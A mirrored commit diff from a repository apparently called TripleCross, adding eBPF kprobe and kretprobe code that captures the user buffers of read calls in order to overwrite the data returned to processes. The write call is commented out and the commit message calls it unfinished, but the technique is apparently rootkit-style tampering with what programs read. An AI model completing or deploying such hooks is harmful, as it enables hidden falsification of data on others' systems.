mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-22 09:43:07 +08:00
Added new probe to read the previously extracted params and overwrite user memory. Still now fully working, just a backup
This commit is contained in:
@@ -29,12 +29,16 @@ static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* bu
|
||||
.pid = pid
|
||||
};
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||
bpf_printk("PID: %u, FS:%u\n", pid, fd);
|
||||
//bpf_printk("PID: %u, FS:%u\n", pid, fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Receives read event and stores the parameters into internal map
|
||||
*
|
||||
*/
|
||||
SEC("kprobe/ksys_read")
|
||||
int kprobe__64_sys_read(struct pt_regs *ctx) {
|
||||
int kprobe_ksys_read(struct pt_regs *ctx) {
|
||||
struct pt_regs *rctx = ctx;
|
||||
if (!rctx) return 0;
|
||||
int fd = (int) PT_REGS_PARM1(ctx);
|
||||
@@ -42,4 +46,31 @@ int kprobe__64_sys_read(struct pt_regs *ctx) {
|
||||
return handle_sys_read(ctx, fd, buf);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Called AFTER the ksys_read call, checks the internal
|
||||
* map for the tgid+pid used and extracts the parameters.
|
||||
* Uses the user-space buffer reference for overwritting the returned
|
||||
* values.
|
||||
*
|
||||
*/
|
||||
SEC("kretprobe/vfs_read")
|
||||
int kretprobe_vfs_read(struct pt_regs *ctx){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
|
||||
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||
if (data!=NULL){
|
||||
//Not found
|
||||
return -1;
|
||||
}
|
||||
|
||||
//Overwritting a byte of the buffer
|
||||
char *buf = data->buf;
|
||||
char *msg = "OOOOOOOOOOOOO";
|
||||
bpf_printk("Overwritting at pid %u\n", data->pid);
|
||||
//int err = bpf_probe_write_user((void*)buf, (void*)msg, (__u32)1);
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user